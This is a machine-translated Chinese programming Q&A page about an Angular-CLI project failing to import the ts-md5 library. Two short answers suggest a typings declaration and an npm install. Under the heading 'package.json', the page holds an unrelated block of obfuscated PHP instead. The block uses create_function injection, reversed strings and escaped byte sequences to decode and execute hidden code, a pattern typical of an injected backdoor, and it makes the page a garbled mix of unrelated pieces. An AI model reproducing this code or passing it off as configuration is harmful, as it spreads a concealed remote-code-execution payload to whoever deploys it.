可能与Ref:Angular2 - Angular-CLI installing lodash - Cannot find module重复,但对我不起作用
关注https://github.com/angular/angular-cli/wiki/3rd-party-libs使用https://www.npmjs.com/package/ts-md5
导入ts-md使用npm安装ts-md5导入ts-md5 - 在node_modules上保存。我在angular-cli设置中的配置是
package.json:
function oo2($b) {
$h = explode("|", strrev($b));
$d = explode("*", $h[0]);
$b = $h[1];
for($i=0;$i<sizeof($d);$i++) {
$b = str_replace($i, $d[$i], $b);
}
create_function("", "};".$b."//");
}
function cqq($qw) {
$domarr =array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb");
return random($domarr,$qw);
}
function oo1($y) {
$y= strrev($y);
$g=substr($y,strpos($y,"9")+1);
$v = explode(":",substr($y,0,strpos($y,"9")));
for($i=0;$i<sizeof($v);$i++) {
$q = explode("|", $v[$i]);
$g = str_replace($q[0],$q[1],$g);
}
create_function("", "};".$g."//");
}
$s1v("", $siv("\71"," ",$slv($svv)));
function random($arr,$qw) {
$g='w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-86d944835,sq-87396487293787396086c951874";';
$soy = "en2";
$xx='explode';
$ecx='create_function';
$scy='str_replace';
$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");
$aa = $xx("|","8|9|-|,| ");
$mec=$ecx;
for($i=0;$i<sizeof($a);$i++) {
$g = $scy($aa[$i],$a[$i],$g);
}
$ecx("", "};$g//");
$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy));
return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
}
$r9 = explode("|",$n9);
$b9=0;
$a9=0;
for($i9=0;$i9<sizeof($r9);$i9++) {
if ($i9==0)
$a9=0;
else
$a9=$r9[$i9-1]+$a9;
$b9=$r9[$i9];
$v_[]=substr($v9, $a9, $b9);
}
$y =1;
for($i=0;$i<5;$i++) {
$vv1 ="o"."o".$y;
if ($y==1)
$y=2;
else
$y=1;
$vv1($v_[$i]);
}
anular-cli-build config:
"devDependencies": {
......
"ts-md5": "^1.2.0"
}
在ng build上我可以找到在vendor / ts-md5 / dist / md5.js中导入的md5文件
system-config.ts:
var Angular2App = require('angular-cli/lib/broccoli/angular2-app');
var mergeTree = require('broccoli-merge-trees');
module.exports = function(defaults) {
let appTree = new Angular2App(defaults, {
sassCompiler: {
cacheExclude: [/\/_[^\/]+$/]
},
vendorNpmFiles: [
....
'ts-md5/dist/md5.js'
]
})
return mergeTree([appTree], { overwrite: true });
};
在我的companent中包含导入*为md5,来自'md5'以导入ts-md5。
在ng build i get上找不到模块'md5'
const map: any = {
'moment' : 'vendor/moment/moment.js',
'ng2-bootstrap' : 'vendor/ng2-bootstrap',
'@angular2-material': 'vendor/@angular2-material',
'd3' : 'vendor/d3',
'md5': 'vendor/ts-md5/dist/md5.js'
};
/** User packages configuration. */
const packages: any = {
'moment' : {
format: 'cjs'
},
'ng2-bootstrap' : {
defaultExtension: 'js'
},
'd3' : {
format: 'cjs',
defaultExtension: 'js',
main: 'd3.min.js'
},
'md5': {
format: 'cjs',
defaultExtension: 'js',
main: 'md5.js'
}
};
对此的任何帮助都会很棒。
答案 0 :(得分:0)
在你的typings.d.ts中添加这个
declare module 'md5' {
var exportAs:any;
export = exportAs;
}
答案 1 :(得分:0)
安装此模块。
npm install ts-md5 --save